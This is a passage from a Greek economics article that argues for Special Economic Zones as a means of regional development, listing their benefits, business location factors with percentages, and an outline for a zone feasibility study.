- § Οι ΕΟΖ αποτελούν τη δεύτερη καλύτερη λύση στο πρόβλημα της υπανάπτυξης ενώ τη πρώτη τη συνιστούν οι μεγάλες διαρθρωτικές αλλαγές.

Επιπτώσεις στην Εθνική οικονομία.

Ωστόσο έχουν καταγραφεί πλήθος θετικών επιπτώσεων από τις λειτουργίες των ΕΟΖ στις 800 και πλέον περιπτώσεις που έχουν μελετηθεί.

Μερικές απ' αυτές είναι:

- § Δημιουργία θέσεων απασχόλησης και αναβάθμιση του ανθρώπινου κεφαλαίου στην περιφέρεια,
- § Αύξηση των εξαγωγών,
- § Αύξηση των φορολογικών εσόδων και μείωση των φορολογικών απωλειών,
- § Οικονομικές συνδέσεις επιχειρήσεων, οριζόντια και κάθετα, με αύξηση των αποδόσεων,
- § Μεταφορά τεχνολογίας και τεχνογνωσίας,
- § Αναβάθμιση και προστασία του φυσικού κεφαλαίου και του περιβάλλοντος,
- § Υιοθέτηση και εγκατάσταση χωροταξικών σχεδίων.

ΣΤΡΑΤΗΓΙΚΕΣ ΕΠΙΧΕΙΡΗΣΕΩΝ

Οι διαμορφωτές του περιφερειακού σχεδιασμού θα πρέπει να γνωρίζουν τι επιδιώκουν οι επιχειρήσεις προκειμένου να το συμπεριλάβουν στο ειδικό καθεστώς των ΕΟΖ, ως κίνητρο προσέλκυσης τους.

Πολλές χώρες μεταξύ των οποίων η Κίνα, η Ρωσία, η Ινδία, η Τουρκία, έχουν εισάγει ειδικά καθεστώτα λειτουργίας των ειδικών ζωνών, με πολύ καλά αποτελέσματα προσεκclusτικότητας ξένων επενδύσεων.

Οι επιχειρήσεις ενδιαφέρονται να επιτύχουν:

- § Θετική σχέση τιμής / κόστους
- § Ποιότητα προϊόντων
- § Ταχύτατη παράδοση προϊόντων
- § Αξιοπιστία προμήθευσης εισροών
- § Ευελιξία στην αγορά εργασίας
- § Μεταπωλητική υποστήριξη
- § Επιχειρηματική εικόνα

Κάθε ένας από τους στόχους αυτούς συνδέεται με συγκεκριμένες λειτουργίες του περιβάλλοντος τις οποίες οι ΕΟΖ οφείλουν να προσφέρουν.

Στο γενικότερο εθνικό και περιφερειακό επίπεδο οι επιχειρήσεις έχουν σταθμίσει ως εξής τις απαιτήσεις τους:

Παράγοντες

%

Πρόσβαση στους καταναλωτές

77

Σταθερό πολιτικό και κοινωνικό περιβάλλον

64

Ευκολία δημιουργίας επιχείρησης

54

Ποιότητα υποδομών

50

Ικανότητα πρόσληψης επαγγελματικού και ειδικού προσωπικού

39

Ικανότητα πρόσληψης διοικητικού προσωπικού

38

Επίπεδο διαφθοράς

36

Κόστος εργασίας

33

Έγκλημα και ασφάλεια

33

Ικανότητα πρόσληψης εξειδικευμένων εργατών

32

Εθνικοί φόροι

29

Κόστος υπηρεσιών κοινής ωφέλειας

28

Οδικά δίκτυα

26

Πρόσβαση σε πρώτες ύλες

24

Ποιότητα και διαθεσιμότητα πανεπιστημιακής κατάρτισης

24

Η ΠΕΡΙΦΕΡΕΙΑΚΗ ΑΝΑΠΤΥΞΗ ΑΝΤΙΔΟΤΟ ΣΤΗΝ ΕΘΝΙΚΗ ΚΡΙΣΗ

Συντάχθηκε απο τον/την Θαν. Κουρματζής

Σάββατο, 30 Μάρτιος 2013 12:19 - Τελευταία Ενημέρωση Τετάρτη, 17 Ιούλιος 2013 10:30

Διαθέσιμη περιοχή με όλες τις αναγκαίες υπηρεσίες

24

Τοπικοί φόροι

24

Πρόσβαση προμηθευτών

23

Εργασιακές σχέσεις και συνδικαλισμός

23

Αεροδρόμια

23

17 / 21

Μέρος 2

Πως λειτουργούν οι ΕΟΖ

- § Πρωταρχικοί στόχοι ΕΟΖ
- § Εργαλείο περιφερειακού σχεδιασμού ανάπτυξης
- § Κατηγοριοποίηση ΕΟΖ
- § Εσωτερικά χαρακτηριστικά ΕΟΖ
- § Εξωτερικό εθνικό και περιφερειακό περιβάλλον

Μέρος 3

Διεθνής εμπειρία

- § Μακροοικονομικό περιβάλλον
- § Οι διεθνείς οικονομικές συνθήκες και οι ροές ξένων επενδύσεων
- § Οι ευρωπαϊκές πολιτικές κινήτρων για τη δημιουργία ΕΟΖ
- § Διεθνείς εμπειρίες και αποτελέσματα

Μέρος 4

Στρατηγικές επιχειρήσεων

- § Τι θέλουν οι επιχειρήσεις – στρατηγικές ανάπτυξης
- § Κίνητρα για προσέλκυση ξένων επενδύσεων
- § Η στρατηγική επιτυχίας των επιχειρήσεων εντός ΕΟΖ
- § Διοίκηση της αλυσίδας των προμηθειών

Μέρος 5

Επιτυχής διαδικασία εφαρμογής πολιτικών ΕΟΖ

- § Ανάλυση των περιφερειακών συνθηκών (πολιτικών, οικονομικών, δημογραφικών, τεχνολογικών, κλπ)
- § Συγκριτικά πλεονεκτήματα της περιφέρειας / Νομού / Δήμου
- § Επιλογή χώρου εγκατάστασης ΕΟΖ
- § Κριτήρια επιλογής προσέλκυσης
- § Μορφές διοίκησης ΕΟΖ
- § Ανάδειξη περιφερειακών στόχων και ο ρόλος της ΕΟΖ
- § Εκπόνηση SWOT ανάλυσης
- § Εκπόνηση μελέτης επιπτώσεων (impact analysis)
- § Εκπόνηση μελέτης βιωσιμότητας (feasibility study)
- § Ανάλυση συγκριτικής αξιολόγησης των ΕΟΖ (Benchmarking analysis)
- § Επιλογή φυσιογνωμίας ΕΟΖ, σύμφωνα με τους περιφερειακούς στόχους, (βιομηχανική, ενεργειακή, τεχνολογική, αγροτοκτηνοτροφική, διοικητική, κλπ).

Μέρος 6

Χρηματοδοτικοί πόροι και κανονισμοί

- § Νομικό πλαίσιο
- § Προϋπολογισμός εγκατάστασης ΕΟΖ
- § Ευρωπαϊκές πηγές χρηματοδότησης (διαρθρωτικά ταμεία, ταμείο συνοχής, κλπ)
- § Επιδοτήσεις του WTO (παγκόσμιος οργανισμός εμπορίου)
- § Πολιτικές προβολής ΕΟΖ
- § Δημιουργία δικτύων ομοειδών ΕΟΖ.

Η διάρθρωση αυτή είναι η βασική μιας σχετικής μελέτης. Μπορεί ωστόσο να επεκταθεί και σε περισσότερες ενότητες ανάλογα με τις ιδιομορφίες των κλάδων, των περιφερειών και των τοπικών αρχών.

ΜΕΘΟΔΟΛΟΓΙΑ ΕΓΚΑΤΑΣΤΑΣΗΣ

Επειδή η πολιτική περιφερειακού σχεδιασμού δεν είναι μια απλή τεχνική λειτουργία αλλά κοινωνική διαδικασία με ιεραρχημένες προτεραιότητες συνδυασμένη με κοινωνικά συμφέροντα, η μεθοδολογία εγκατάστασης της ΕΟΖ, οφείλει να απολαμβάνει της πλατύτερης δυνατής συναίνεσης.

Ως εκ τούτου οι διαδικασίες δημόσιας διαβούλευσης ανάμεσα αφ' ενός στους επαγγελματικούς φορείς και αφ' εταίρου ανάμεσα στους πολίτες μέσω των τοπικών συνελεύσεων ή άλλων μορφών συλλογικότητας, είναι η πιο ενδεδειγμένη μεθοδολογία.

Συντάχθηκε απο τον/την Θαν. Κουρματζής

Σάββατο, 30 Μάρτιος 2013 12:19 - Τελευταία Ενημέρωση Τετάρτη, 17 Ιούλιος 2013 10:30

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός / Μελετητής / Συγγραφέας